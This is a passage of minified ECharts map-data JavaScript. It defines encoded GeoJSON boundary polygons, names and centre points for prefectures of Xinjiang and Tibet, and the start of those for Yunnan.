ÛljťǓǫō@Ɲ²¯VçōKͿŁΗÇţ»ƽ™ɅƑLÓŏÅÅɱV@ÝĊU¯ÑĊĭÞLšÞŎJ±̃XȣˌōlƒUÈ¯ŎKÆƅ°™XÑܱnŗġV¯™óaUƒƧUōŁ„Ñ™±„çɲ¥lĉkğ°ƒk¥˜ƒnğţL¯ÝÝUƽĬ΁lķ°@„ō„XÿݯV»ŹLʉÞɱŤĉó°ÝJ™¦ÝKÝ£ţܙÈĉ@ƒxǩUċƑ@ky͓¹™`U²ĉVġ»ğa¯¥ť@ĉ™‚ó@ŻÛÛJƒw¯nó¯ġWƽʩķÝɛwĉĕݼȭÞķō@ó£Å΀ƑޝôȯÞ¯Ȱ™ÆōèĉXǼó@ݚnºƒĸ„ÞVƜĸȚUʶõˀĵĖɱŎÝĖVࢰӒѢ°˘nϚVˌ™ÈmɼĵŦW¤öʊõʔ@°ÈXVŽ™ènŎȁb¯ǫĉ„±Èğ`ġwōÔğ»mVVށ„Ý¥ó@™ĸķô@ššbX„ĶmV²²`Þ_˜˜ɴbͪȰ„ÞWĸÈŌmބškɲŽÈUÆ»n¼ǬVķĸźô¯°n¦ɄǜÈ"],encodeOffsets:[[86986,44534]]}},{type:"Feature",id:"6532",properties:{name:"和田地区",cp:[81.167,36.9855],childNum:8},geometry:{type:"Polygon",coordinates:["@@ƨ¥šèź٨ΘƑᩄbUࢯÞĕɲōĶĕöʿVʵķșUƛƒÝ„ķm¹Þ™ô@È»ĊWŎçšÅ°ȯȰÝ°óƒÆͿĉ»̽çnƒmɱĵƧºóU™™ƽ@±wóL¯°̻L±Æ¯Vƴķb¯VÇ¥ğ²Ǖbk¥ÇKlÅɱġ@у™óK@™ÇaÝXğţxĉČǫķê¯K@уaŹ„ƑKƒ¼¯Vóaónġw™óÞéU™ġbóĉğÇl¹™aUóğKW„Vůn›ÇŋƑ›ķnʇ»óxĉw™çǰÅw™°ċ„XŽ™„ób±ƒkÈÇJ—ƒm²ţx@ÒݎšŦǺn„ó¼n°ÇbUÒ±¼XĸĠłƽXmwĉºƒzÈÜmnxmx²ĖmҚbnŽƧêUºĊêÆVóĖóUĉ¼ÅĬƑ°ɆƆŻŚlłÞLš¼nĠƒ¼@ޙšÞź@ŎÞ°VšɄɴжϼِ͈Ŏ„"],encodeOffsets:[[81293,39764]]}},{type:"Feature",id:"6522",properties:{name:"哈密地区",cp:[93.7793,42.9236],childNum:3},geometry:{type:"Polygon",coordinates:["@@WnŐÆĶL̦ţºź„lxÅĸƽŚ‚Ʉ—Į˜è@ô²ÞUĔƐńV°¯ĸX¦Ɛm̐bƒ»Ɇa΀šĢ™ƐLˤ™ȘÑnƒІljĸÿn¯ĶaŎ¯ĢĕȘ¯°΂œla¯¥™ǕǔwˤӱlťО̻nŻmɃĕċţUw°WUóƨÅţķ°ýV±óÅǓéʉ¯ƽكéōǖȁÝƏůǕw˹ǫȗǓƧǕVý™é@ĬţLƧôͩ„ɱŎɛK̏ÞɅôóK@²@°ōؚ¼lŦ¯ŰóƜÛlV¼ķ¼ƒ°kȰ™Ű„ĠƒǬ™ŚÝŎmˁ`@ÇÜn„"],encodeOffsets:[[93387,44539]]}},{type:"Feature",id:"6529",properties:{name:"阿克苏地区",cp:[82.9797,41.0229],childNum:10},geometry:{type:"Polygon",coordinates:["@@VƚxˌŎÞŎƒ°n„ȂÒ°²VĊ¯VğƾˍǬƨÞÞKÈÞĊVźôɆÞĢèԐôWȲŤVÞĸʶbl‚¯ôn_VÆĸlmÞnVź_ĸ¼Ȯmǖ„šéĸW°°„ĸJ„kʠ¼Æw°¤ÈƒlxɆzČºĶI²ÆǔUš°ô@Þ¦‚ƒUnUĠ¼ŎÓĢxĠ_²ÇĊƒǬ°ŽȂamōšçUÇW@¯öʓõʉX£ĶťnɻšÇUˋmϙ¯˗ӑѡᩃaΗƒœɜ°xWƴUxɃÒˣ¤Ʌwğ„ʉōóÝŹ±°ȗ@¯„ƃ²¼","@@ō™гwȁ¥Ƨ°ŹÑķV™¼ÞêĊ»‚lĵšm¦ÅW@ĀôÈźaɜxÈbÞÆĶIОŘnIÇŃÛÝĊÑĠƏ"],encodeOffsets:[[80022,41294],[83914,41474]]}},{type:"Feature",id:"6543",properties:{name:"阿勒泰地区",cp:[88.2971,47.0929],childNum:7},geometry:{type:"Polygon",coordinates:["@@ɲˣĊIÈ¥‚ÅU±Ċýkō°ƒĉƽó»ĶƽXóʵʵ™ȯƑÅȁɅ¯ĉ@ÇሗK֛@@ˤV֜ʵрƒǬVĸƑŎ@ƆϯÑóŽķ@ʇ»ķ¦έmlÈĸĊX¼WźÛÞÝѸ‚ĢČþ„ĀĊôάVö¼ĊUƨ°°èŎČUÜÆóôVôô޲êȘlˌç°`n²ǬŽĊaš™ƒÛ°±kğmm»š@°ÝɆÛÅÇVaݍVm͔ğôÝÈb‚„@„ƒ™n¯š™ÜUĢÑĊ@źīżWŤÈǖWôŁÆI²ÓƨL@ŽĊX„mmÑÆ»ȰÑkƒĶō@ý°m—¯"],encodeOffsets:[[92656,48460]]}},{type:"Feature",id:"6531",properties:{name:"喀什地区",cp:[77.168,37.8534],childNum:13},geometry:{type:"Polygon",coordinates:["@@Č@°ƒĠ„ôÓô@Ŏĉ@Ƴĸ@Ť£ĢlVôWVóřXĉŤêÞ@ƐÒĢÑlèÈV@šĠIk°ÆŘ@ÈÈĀ@ǶťÒğ@š„@ÒĉlŻ_@šƧĖÅĬōÆ@bźÞnƒƒlVœÝĬšWƼʇ„ƒÝÅ@ÇÅÈwWóĉ±ğz‚ĬČƨƂÝIĉݯbÇÑĉƒ¯ʈV°xUŰĊ¤ƪ_ôÓɚI@lȚXȮ™ŎlɴȘ՘š„¦ɲÆʈ_ɴŽźŽôÞʊŎĠƒɆxˤ£ɄÑVwXƳ¯w›ɛŹ٧™çƧ¦ōƒُ͇еϻɃɳU™Ý¯@ōÝŹš™@݄»mğ™»ÝKkŁżřɅƅƒ¯ÆīĊ»ôVôĕÅUĉéV¹ƨém™anѱĕnwmwnÇۄyĉ¹ŹlŏkĵèķmōÞġKñÔċKÅèĉzƒŽ„ômxȗÿƿI@þÅČÝKݰ@¼ÈVºš@Å̚ÆUċłn„ÝÆǕČĵJm£ÝJ¦@ĊƒxV°ƏLċ¼ǩ™@™m@ÅĢómÇÆğ¹Çš™ÆšĖÞKšx„wô¦ÆÑÆL²ÆƾŽU„ޱŚÅŻĖ@ĬŤÈñ„@ǔÇx„Èǃ","@@VÇ™ţ°ğUĠ¯mk¯ó¥ķIġÿƏbƒ„ĉa±ÒĸĀlKU„_m»nwšŽ„m@ÈŤ¦ĉbÞ°±Þżł̦°ĢŁVé"],encodeOffsets:[[76624,39196],[81507,40877]]}},{type:"Feature",id:"6542",properties:{name:"塔城地区",cp:[86.6272,45.8514],childNum:7},geometry:{type:"Polygon",coordinates:["@@ήnĸ¥ʈ¼ĸ@ôϰÒ@ƅƒōUķƑǫʶпU֛܃LګK@΋ĸ@Æ£ÞġÅĠċšLV݄»™@Å»Ýnm¯š»nŻĊ@nķŃ@¯ómóÛÝǟ¯aÝóȭ¥ƒšōUmxĉbÇї@›bUº¯X¯ÆƧbVÒĉnǕw¯°ƑŽV„—ŽÇ@kx±Uƒšɱn™ŽÅKƒ„¯ƒĠǠU°ɜL@°ƒxnĬ‚ĀŋŎÇLƒŽğšϱÞέƜkôÅĀǕłƒĸĊŤUṴ̋„¦ȂϰÜɨ°x@°żǠÆƈČVĠ»ČL°ÇšbĊÑ̐óÞlĶwބɆVÞwǬxǪţȼÜLŐĶˢ@","@@óKĵĀV͈ĉłƾNJÆŤƒzXl°ƒÆL²¼źŽôÈĢǔ™¦l„ô°ɜÞʊĠğŃm»ʵƳƑʝȗīV¥¯ĉ°Ñ@ŃÅI™»ĉmğn™ƒašƒċƨbš™Vğ—w›ġ¯@Uōa™ĉÝJğÑÆŎkŎÞĀlꃦ"],encodeOffsets:[[87593,48184],[86884,45760]]}},{type:"Feature",id:"6523",properties:{name:"昌吉回族自治州",cp:[89.6814,44.4507],childNum:7},geometry:{type:"MultiPolygon",coordinates:[["@@መL@ȰĊȂɆƒÆĊ£„ťôWÓɆbĢÅŎƒÆ¦ČÑW¥°ķU¯ƏŃVē±Ý@ó—ç˜ĭɃƾřÆķkwʃŤ¹ġ¥ĵKŏÅXmˍщwǓ¤Ƒ@wóōVķ£ɱšġôÛa±Òȁ„óèţIVŽƽ¼k¤ó¹ġJmx—»ÝUƒ²™@ÅÆƒĸǫŎ„ĊmŎǬ՘"],["@@Þô°bÞǠôÜôn@°ĸń˜Ƕkłƒ¼UޙKğȂÆÝĢŤķ@@ΌڬL܄K@ˣȂ˭lĉńW¥ĵVÆý@ŃÞēUŃȗƅ@ŹƩǕĉ»k»Ç™VğóřX™ŻKƏŽċêȁèÛŎġƒͩń"]],encodeOffsets:[[[90113,46080]],[[87638,44579]]]}},{type:"Feature",id:"6530",properties:{name:"克孜勒苏柯尔克孜自治州",cp:[74.6301,39.5233],childNum:4},geometry:{type:"Polygon",coordinates:["@@ˎǫĠƽ°UUĉ¯±ȁÑmƒ„¯Ýōˋō™wUű»ÅƑ°ƒȘ@²¯ɳʇ`ɱŃ¥՗™ɳȗōkȭšșW@kəJóÔƩ`ĉ£Vů¯wU°ʇĊ„ÈÒ°aĊÞÞJŁċƧīĠyĊ²XôÇxÈÆÆ@„ÞʈƒÅ»™XÞīU›Ƒkm„ŹÝ@aŎÅÆīƨĕ@™ż`Ċk@љƒĠ@ŦÑ@ǵÇÿ@ÇÅŗl¯ğJ@™ÇUkçġÒƏÑÝ@ţéWĊôŚUŽóXUġkţ¤ķ@@ƴōĊó@óÔğƒ¯„ċ@@Қ¤kôˣŰ͓„k»ƒKX¯ċwƧôğɐšÒôIVƙš¯UķǬķšnŽ™¼ôb°ÒȰVVÈÞ°ƒĸó¤V¼°„V°²êƒlĢ҂Uƨ¦ôȰƴĊVV¼ǖIċĊ„ÞɜéšnČW˸Ǹša„řÈw±īšçĸ¤ĊšôšwšŽĸU̦˜éǖĬ„Āô¼lÞkÒ°x°ƆÞx„šÆV²ǔ»„b°wގȘ¥°n„šŎV@°„„ʠè‚ŰȂb"],encodeOffsets:[[80269,42396]]}},{type:"Feature",id:"6521",properties:{name:"吐鲁番地区",cp:[89.6375,42.4127],childNum:3},geometry:{type:"Polygon",coordinates:["@@ôK„ĉǪa²¼lÜô@ʠê°Ĭ™ôȂƒ²ÑÜbĢóɲ™ĸ¤ŎUô@xƒŽǔ£ъxˎmƒÈÛ@‚_nĕÞōšř„ǫƒğšůlȯ„¯ĸ»U»Ükôƛ°ůkť™»Ŏŗ@¯@±͓óͿ„Ǔ@ķȁ¼Ϳ@Ƒ¼¯°ólġ¯xȗUġšƑ™ǩÒƧUݰ˹Kóššx@ǸōĬÅĬƑĠ󃄚ǔêÆ°XÒʟŤUšÇ¼ˋnn¼±V²°ȂUŌݜbʟǔɅô@żǬaҎÈ"],encodeOffsets:[[90248,44371]]}},{type:"Feature",id:"6540",properties:{name:"伊犁哈萨克自治州",cp:[82.5513,43.5498],childNum:10},geometry:{type:"MultiPolygon",coordinates:[["@@ĉ„ÆŘȁ̐mÞ¯ĀX°±¼@ƾ¯ƴ°ŎÝþŋ¦WÜÞbȂĉźUœÇmwVUȂóô@ȰÝ΀nÆJn™ƾ™ʠ™ŌLČóǪ¯œ¥ǔaǖšŌaôÝĢLšx„ƒÆLšɲm„™²VlwÈ@˜Uƒƒ°¯ǖxĊmUÑƨa°Å°WV¹œa›ÇɃÈm¥°¯ŹóĸķǫUm»Å¼ÇVɱ™l݃ŋnķÇÝX¯ƒͩÇɳa——Ý`±_U±ĵnWƒ™a@™ĸóšķ™¯ǓV±ÅĵJċ¹ɅykwDޝ£Åxʟ»ƒlķI¯ƒX¯ķ‚™êǕƒȭnķ»Ź`±„kÞ@Žš„Ýô@Þ°xšŤŎIƨÆUxōš¯²ǔĬǬlUŚ"],["@@ÞĀlꃦ¯ĸŤKޙšƒċƨbš™Vğ—w›ġ¯@ţƽJ"]],encodeOffsets:[[[82722,44337]],[[86817,45456]]]}},{type:"Feature",id:"6527",properties:{name:"博尔塔拉蒙古自治州",cp:[81.8481,44.6979],childNum:3},geometry:{type:"Polygon",coordinates:["@@ήƛϲÝĠ™„ÈKŌōÿmī„w@¯ɛKV¯ğǟ°Ƒ™wġKóÞŋbǕ™Ǔb›¦ǩ°ċôŋKʟšƽšmšÅImŽͿŽȯÞó@ȁôUVnx›ÈŹVȁĊÝabŻ£¯°l„óxȂŤĸkĊšÞyĊêĊmĢxV„ƨÈŽĠX„ŽΘÆĠÔź‚Ɇţ°LXƾŤŤb"],encodeOffsets:[[84555,46311]]}},{type:"Feature",id:"6501",properties:{name:"乌鲁木齐市",cp:[87.9236,43.5883],childNum:4},geometry:{type:"Polygon",coordinates:["@@šŽWŽôŚUĠȚl¼Ċ¼ƪǖ@źȘƆ@ýlܚXVŘޙš¦V¼kĖó҃èkĊȁˮ֜@ǫ՗nōƒĉǬō„ķÆÅš@„±ÞV˜¼nwĢIôºl£ƾ»UŤJôçšó¯īʟéó@kÛ±»ǩbƒĊóLҍÇǫb@ŻɆóʠǓ›aŋÞȁVʉłĉbĉɅô"],encodeOffsets:[[88887,44146]]}},{type:"Feature",id:"6502",properties:{name:"克拉玛依市",cp:[85.2869,45.5054],childNum:2},geometry:{type:"MultiPolygon",coordinates:[["@@ɜÞʊĊýVaŃm»ʵƳƑʝȗīV¥¯ĉ°Ñ@ŃÅI™»ĉmğn™ƒaݚţL°ķóKĵĀV͈ĉłƾNJÆŤƒzXl°ƒÆL²¼źŽôÈĢǔ™¦l„ô°"],["@@ƾIŤ@UUwōa™ĉÝJğÑÆŎkŎ"]],encodeOffsets:[[[87424,47245]],[[86817,45456]]]}},{type:"Feature",id:"659002",properties:{name:"阿拉尔市",cp:[81.2769,40.6549],childNum:1},geometry:{type:"Polygon",coordinates:["@@nIÇŃÛÝĊÑĠƏō™гwȁ¥Ƨ°ŹÑķV™¼ÞêĊ»‚lĵšm¦ÅW@ĀôÈźaɜxÈbÞÆĶIОŘ"],encodeOffsets:[[83824,41929]]}},{type:"Feature",id:"659003",properties:{name:"图木舒克市",cp:[79.1345,39.8749],childNum:1},geometry:{type:"Polygon",coordinates:["@@VéVÇ™ţ°ğUĠ¯mk¯ó¥ķIġÿƏbƒ„ĉa±ÒĸĀlKU„_m»nwšŽ„m@ÈŤ¦ĉbÞ°±Þżł̦°ĢŁ"],encodeOffsets:[[81496,40962]]}},{type:"Feature",id:"659004",properties:{name:"五家渠市",cp:[87.5391,44.3024],childNum:1},geometry:{type:"Polygon",coordinates:["@@„çôÑlĕU»™¥ÝšUŗ™WkÛ@þVńÝĔ@ńÅþĶUX¦Æƒ"],encodeOffsets:[[89674,45636]]}},{type:"Feature",id:"659001",properties:{name:"石河子市",cp:[86.0229,44.2914],childNum:1},geometry:{type:"Polygon",coordinates:["@@lŁ—ǵm‚ĉ@mż™¼n°ÞmƼš@"],encodeOffsets:[[88178,45529]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/xi_zang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5424",properties:{name:"那曲地区",cp:[88.1982,33.3215],childNum:10},geometry:{type:"Polygon",coordinates:["@@ƨʔĸbܺÞwnxźbÞ°ô@„ĶŽĸIȼĊJŎÈôUšÝƒ¤ǔLސŎ@ĢŽȘblƒôL„ÇźçȤôLš¥ÞIÞ¯Ķxʊťƨ™ƿÑĉXVķŦ¯ȂKÇǕšÑ¯IUš£¯Óƿ£VĕōÞÿÆwƒƑ„£ǖxÞĕ±ÇÝaUÑȃU¯‚UōÈ݃wWŁĵ™±Ý„óĢÿ°IÞ±mÅ̝mÿ„¥°UnÑŤĢĕĶwǬŻͪwŎ¼źÇĢ„Ġĕˎٰóƨ¼Èa‚m@¥°wǔ„ǖ°ŽƨÇŤœšġƨ„ŎŃôbÈÛŎĊ°@Ġw²ÑÞJƃÆb²ƒ°êĊUނlȲƒV„ÈKĊÒĸĉ›»ÅôťUÅǃk¯@ǂÑklǁÅl™Ģ™VÑóƒ@°@„ÛĸƒV¯ƒÇĊ™n¯Uĕšƽ¯m›¯b™È@Ò°Ĭƒbĵ›¼„‚kxķýÇJk£ÝaUÑÅóĶǟkÓʉnĉƒÝ¼Ƒ„ó»Þmn£m™Č¯@ƒȮÿV¯ĸƒ™k@Ýówƒ»ğ„ġ±ǓLō„ƒšV¼Əèķĉ™è±b@Òţ„UÑóakƒl£™Ó@¯L@™ÇlUóȁš¯aġÈÅĕÝLķ¯Ė¯@WĬ—x‚ÒÈnW°ţôU²ǓÓġ²V°¯ôƒǔÝL—ċšk™š»Ý»Ýš¯ÞƒVƒwۄÝÇōͩÈĉċ»ĉm¯£W¥ţKkóġƏW@¯±kōŽÈ›b@җšÇaƒÆ¯a™„ƒkóŽÛƒÇ¦Ýa¯šÝ™ĉ@ǻۄmƒǓxķƛ¯lVĀÅÞġb™™ÇJUÅV™ĖƑW™zō»ōšƒW™n@è¯ÞóVkwƩnkźÇބҙޯƒƒýğÇUxÆÈnè±bĉÝ»ÈуwšwÞ@m»ÈV@ýÇ°ķ™xƒa„ݯXċ¥ƒÈóW@ôkxlnxVÈóĊkŤġ¼@°¯ŰƑL̻۱ŎÝV—Þ›VƒÇÞŎÇakƞ‚š@èğŎĸżšƾ°ÒšLÞôĠKȰĖźVÈÒĠ„¤™VôšŽU„ÈþťL@ôǬÞlÜÈnÇÒUŚ™@šĊƨW°™°Xƒ‚@ČÇþ„ƴĉÒķ¦@ŽĢôWĀôłUÞĢǬ™ź°¼š@ƒôV°„bUÆnzm¤ƽĸƒÈ"],encodeOffsets:[[88133,36721]]}},{type:"Feature",id:"5425",properties:{name:"阿里地区",cp:[82.3645,32.7667],childNum:7},geometry:{type:"Polygon",coordinates:["@@„Çƾķn£myVŃaU¯„ó™@¯»šŹġǫVÝóŁXÿġó@ĸ¥ĊуƳÈý@ċ„Wš¯X¯ĉƧ‚™š@VřÈÑÇmkÛǫÝ@óŦKÇýVƒ™U󚏃£ğÇÑŹUȯĕğLÝó™K¯Ñ™ƽķŻĠō@灙lƝÈbƍÈ݂„œU˜ÝÞU²ō̼ůƒK°ů@¯UK±—ĊƧbōÇmçÈġƒóšÅób™™źóš¥kól™ç™KôĵUƒÅ„VŃķ¥nÅŏm¯¹Å‚™»@ÑǍóxÝkʇȤU¤ķb@ƒ¯ĊÇx¯ĸĉKm°šĀk¦l„„KnĬȀƾÛ¦WÆÅmNJĉ°ōUţ¤UšŎ°šŎKÞłÆ„Ǔ¦ƒÞ™‚™„ř¯bmUÝl¯Um™ğl¯£șwŎǫaÝnĉ̓k@¯™K™šō»ĉn™aÞ»ťnkml™ĸ¥UŚŻkÑťƒĉV™ôó°LôīĠU„ÿĉǕÅz±Kƒ¤„²ō¤¯Ė¯UÝ¥Vĵ™óÈťÝwķșÑk¤ó„™ƒWýĵĕ™„VĠƒV󍃎Ǔ„ķ°k±VU±ţ¦UǟÝřJVљ¥XUċUŎlÛƆǕÆȗƆ¯wŏÞÅ@™šĉl݁óŽƒÒ™nUôńlxólÝôێ±™™LÛôÝL@‚ġ¯X¯ÇUżóa󤛼XÒġŎóLk¦‚ôżĸĠ™¼™KġƆô¦„ÆƑÔĉ͝ImÒ°¦n°¯Þl˜ÝČn„ƒÒšKĠޚĕkƒlýƾťœšôI‚ĖŤÒnƜm¼¯lnżóÞ@Ůó¦™ôƽĖċŚn°Ý°ôÈUƜƒblÞóŽ@Žǖô°UÈƆ°X„þôŽô‚lѢšŽ²Ėm¦°š@¤™XŽĊblܚzkºƒĖmX„šŎWVšóÞn°lĠxȚa°»żLźƒ„b@ưXĠÝȚxĊĕŤaȚ‚°È@„„@èŤ¦Ü¼œW˜ÞkŽÈ@V°lŤkŎ±²¦ƐUšlj°aÈÑŎb̃ŎbÆ¥ÞIȘlššôVÈU‚™šb„kɲĶn„mnXb̼òƾĖŎ@̐ȂÑôÓĠĖʊšĊÔ"],encodeOffsets:[[88133,36721]]}},{type:"Feature",id:"5423",properties:{name:"日喀则地区",cp:[86.2427,29.5093],childNum:18},geometry:{type:"Polygon",coordinates:["@@ĶĖXþš„ôƒl£šÒĸÇÞxÇŦšôUĶÞ¦°V°ĕŎ£ƒ±„£²LÆyĊǖƒĀğVóĬ¯KóôUš‚ĊŦ„lҙżVÆķ¦kšlnŦmݼšbĊmŎ¼š™šL@°„lĊĵÞmǬbƍȚx°¤Ġknš°VÞkVn°aƒŚš‚š„Ýǔ¥ÅƒÝŁōL¯™ōV™Ť£ŎVĊ¯nljƏXÅÜ¥ǿƽmīƒLkƒl¥™ÿn¯ĊL°ķÈw°ĉ@ƑĸaV£ʈȣÞlôwȎ@Қ¼Æ°ºŐnmÆĸ¦UńƃV„ó͚LšèôkŰlĬ™¦Źôššôa™Æ„ôÇĢnèŎÈƨa˜ĉ²‚VLĢ»lţôĉUǂwkmlw@óôX„ÇȦ°WƒÞ„b‚wĸšÈ¯@þÇUn¼Ý@™x„xÇńÞ¼Ċ޲amçÅÇVwĠȄþ°„šÝƒÑÈÝlŹƪmlxôU°Ý@çšm„XŎ™Ŏ¼šyƒXšĕÆUVÈIššĢaÆÝUÿ°kĸƜǔwn„܃ȼĊ@ޚ°™Þbȥ܄ô„lšƒ°b„ÅÈb˜™@ќa‚ǯUU¯Vġš»ƒ™¯aV¯Ç°Å™mnÑŤçǬVǬ™±ĉ¯¥Vĕ¯Ýk£˜ō—w@±ġÛ°ÇVїƒ@ۘa@ČL™Ƴ™„ƒÇa¯¤ÝIĵ¼U¥ƿōķÅţŻókÝóĕ‚¥¯™U»Æ£X¯ġŃÛkݰV°ó¼¯èWôÞĖ„ȎƒŽkĀƧĀówm¥¯JŹÝJݙōVVŁaݐƑ@ƒ˜ğŭǂ¯_ƒ˜ĵ—›VnxŃón›ƒĵxÇĖĉVÝÈğV™Ò󃯐±Żĉ£ķÆÅL™Ljĉý˜ţۃ¯VƒnV¤ÝÈ@°ÅÞݤ™ŰğŁm¦ÝxóKƒ¥ɱÈUĠôêVôÛ¼ÇWÝçĵaō¦óĖƧlÇĢƑŽnŎDŽV¼¼‚ºÛ@m¦ƽ„ĉmm¯ÝKÛç¯bŏłĬ™bƒ¼ÅLmŽ„xť°ÅU™šÝXkŽÝmĉ¦W„¯K„ÒknÝaV„Ýè¯KɅńÝKnÞ¯¼"],encodeOffsets:[[84117,30927]]}},{type:"Feature",id:"5426",properties:{name:"林芝地区",cp:[95.4602,29.1138],childNum:7},geometry:{type:"Polygon",coordinates:["@@‚VÈłVôÈk@š°K@ŽšÔk¤l„ôbVÒŤƒ@ѲašçĸĊƐçU»„™ŎƒǔK̲Ġƒ„¼ôx@ޚlƨĬ„Ul¯ÈLV‚šÞJ„°Ünʊ„wÜbXê‚VÞ¯°ššanaU°wƼɴÑWѰmÈýÈam¥Þ£Ť@„¥ôblÞĢ„ź¥ôxÈÅmݚ™ƒĕŃV»ĉōŤōnóƒ»ÈīķIUƒĠѰġĸLÞ¯VÒÆ‚@bš¼WôÈ@V¼ôóŤKÈÑU»šwVǫżnWÒÈx™¼‚lŦ£ĊōŤx²¯@ƒÆƒU¯šçÆ@„¤°£„é°k°lšůÈó@¯ŤÇÈĉƒkkÿó¥ÝXķљÜ@ÒóŚÝ¯°ĉówÇ±¦ÅJUÒĉĀķw¯°m˝„±akxÝÅnƒ™»lуK@¯lU™¯UVѯóĊ¯mōğVǓƅƒÞƒWÝÈÛ@ƿô¯ÜġzÅþ¯ólmôʇġĊÅUͿřŏȁˋŁóÇˡōƧƒÇb™w°Ķôk¦šÒƒnUþġҙÔkǔķèó@ƒ²@ŘōńĵyƒzġaݤÅIƒ¤Ƀť¦ğѯ¤ķbóš¯ó±ŽU²°¤ČÜVnÈÆ‚„ŚŎ°ôĢ„þÆzèVĀǎĀǘƒXŹÑ¯¤ówċķk¦šłUÒġzÇ@ƒ™ÆÝx@²Þ@Ƥ„Uô¦Uš°x„U"],encodeOffsets:[[94737,30809]]}},{type:"Feature",id:"5421",properties:{name:"昌都地区",cp:[97.0203,30.7068],childNum:11},geometry:{type:"Polygon",coordinates:["@@™ŽVĖm°ĉš„ÈU°ķ„ƒÜ¯@@ô„UÒġškš‚ÆkÈlށÒ@Èl°È„VÆóŦƂœ¼‚a„ÅĢ™Ʉwnōw@¥Ŏ¦°ŹÞmVš°wnÿƒw„wÝw@¯šmÞŗ°wĠ˜ĸkÞğlĔ²¦°@„ĕĸwVóšal@nĢÇĊn°@¦šŽźUXçǔůĸVš™ÆK„ÈÝĠš²ÅĔô@lšŽÈ_m˜„zǖl„šaU¼ôwV°¯¦‚ĬÈa„l@Čǎ„¼™„nŽ˜I„xô»ɜ@ƨ¥ɆŁ„ŃǪȁkƛƨȍʊȡóĭ›@—ÈÇVƒůރĸƅmēƨť™ÅÈʉVǵ°ġVŭÅɧ°ÿnɛš£mƒķ²ŃóÑUĉ°mÇ»¯@mxUèţ°ȁÝç„ġU¯ÆÇţÈ@°Çô™Ű¯k¯lƒê¯¤ƒ£Å@™èV°Å„@„±°ţwĉŎť¤kš»ÇwXÑŻmUǬ™xV¼ÇÒţLóôU»Ç@X󙻂a@ÿŁUÑݰķK¯ĢğÒV„ĸJÇĬ„¼môţŎĊŎU¼Æ„„Ė™šnÞÇÆówʦġƒkÝóaƒ¦ţ@ݤn¦ÇbÇþ¯nXÒɳÒÅ»¯xVmb™b¯™Ý°UWéÛaƒxʉÛmƒ¯ÝI™‚UÇKk°ƒVƧīķ„U°ȭĀ@„ċ°nšm¤Ýnô¼ƒƒÞ»Ċ„ʊmlÔĵǠÆôVÒÞbl¤ÈIĸþlwƒœ»ĶŽ„a¯ī@њǰanœƾ°"],encodeOffsets:[[97302,31917]]}},{type:"Feature",id:"5422",properties:{name:"山南地区",cp:[92.2083,28.3392],childNum:12},geometry:{type:"Polygon",coordinates:["@@°ÞU˰¦²ĊôÇÜLǖĀɜŽȘŰÞLĸźêÞ@UÜUŤ°ɞ¯Ü„°WŦĀmŎ„¦ĢyVљŁl¥Čĸôx°£źÒ„Wȗ‚ÿȍUÿ‚çÅyƒýóġō¯ƒřŁmÇÛUċޝ£V±²°ôô™ĸa°£ĠÒŦ¥ɄŽ„£ÆJÞ£Ģb„yĶzŎŃ@ŗ„±ô@ĸçlǓšÓĢÑVý„m™Ñl¥ĵó‚¯̻̥™ƛǫÝһÇƧĉyţ¼ҍēVĶĉŎ°ĸmšÞVÝĸ™ÒÛaċ„ó™ŹĖƒèÈÈl¼k¤ÝX@`ސŏ¼Æō¼ÇçĉKUÝÝ£ğ¤@¦ġl¯Òġĉ¯óš™móxÝÞğVšƴċK@—b@ܘ„UÒ¯ÈĢÜ@²˜x—Ŏl¤"],encodeOffsets:[[92363,29672]]}},{type:"Feature",id:"5401",properties:{name:"拉萨市",cp:[91.1865,30.1465],childNum:8},geometry:{type:"Polygon",coordinates:["@@Ŏ²l@°‚XĢƐlôŤLX¦°¤ĊnȼÇĊŎͪÞÈ܃„x„U°Ýޙ޼™¼lšČ™˜ŽÞK„Ǔ°óU¯Ģ±ǔÔV±ŤóX¯ÇmÑ˜wXī°@°ĕĸÞKÆĖĢǰbȂ™ÇفUƒV¯wV™ó¥ƒVÅ£Ý@@±ÞwšÅ‚„È@ƒ¥nōťÿ¯Xۃɝ°ţ¯ÛVVÝ@ŹéķÝKȗůɛǕÿÛKóÈǫšǫUţèmҚn¯Æ°ÈU‚°b„š™¼UĢV°°V"],encodeOffsets:[[92059,30696]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/yun_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5308",properties:{name:"普洱市",cp:[100.7446,23.4229],childNum:10},geometry:{type:"Polygon",coordinates:["@@U‚ô²‚a@޲²Ķ¥œV°šĶ²bl¤kVxl‚@œ°‚ڲ@˜„„y„@ô¦¯„@xƒxVxU„VššbVšÜm¼Ŏ„„ĢmºXXWÆ@œšmŽmXU°ÅÒm¼Þx°w„@°‚XêĠ°»nV°U„l@k„@V±ôī@£‚ƒČŃÆ£„KÞý@¥‚k@y„a@—nWV„UVƒšwƒmƒ£Jƒknm@wmkn‚X„˜šX„¥mUUlUnbš¯°ŽnkƒVInlIUw°n™mk@@mlanXlanmšk@wVWUw™_@éĠašnmUaÜ£ƒmXƒ¥¯@@„óUmݯ¯ÞÝlKnxô£š»„»Ġ„J°aV„UÝÿV¥ÛbƒI@wmŽón¯yÛL@ƒWkŎmș`IWa¯K@¯mUnmaXm™bmak„¯ŽƒĢ™ÒÝm¯mV¯KÇb¯KۜWW™X@a™V™knċLUWV™kXóW@k™a@ƒób¯Uƒwmb¥UUlaU¥U£ma횃KXkƒmÝ@kwmѯk±ċbUUVakaġ¦ƒƒkL@`ƒœ™a¯xƒm™Åƒ™LUWƒ@ċnŎUV°LkL@b°°@¤š²ƒ‚šnôôk„l°kè›ÒÈzV¤È„WôôƒnV@„ƒ¦@¼Ux"],encodeOffsets:[[101903,23637]]}},{type:"Feature",id:"5325",properties:{name:"红河哈尼族彝族自治州",cp:[103.0408,23.6041],childNum:13},geometry:{type:"Polygon",coordinates:["@@°°nÞôV@ƒ°@„¦WŽ„nÛ¤Vbmn™ğb@êš`VxUX@xš„ÆÞUnn˜WÞĸ̃šÈ@ŽÇè@zÛÜWšÅêlš²„˜KnV¯ĖĊx@bk@@„°JÆ£Èbl„nnm°nlUkVUUwVm„Kn„‚nVŽÞxVLX¥laX@@xl@VzȎVmšk@b°šÈĸmŽV¦`W„XšƒbUb‚bX¼°x@ašVVkn@lþnXUlVxŤÅ„y‚IUƒka‚IŎĊ@lXx@b„z@‚ô„ƒ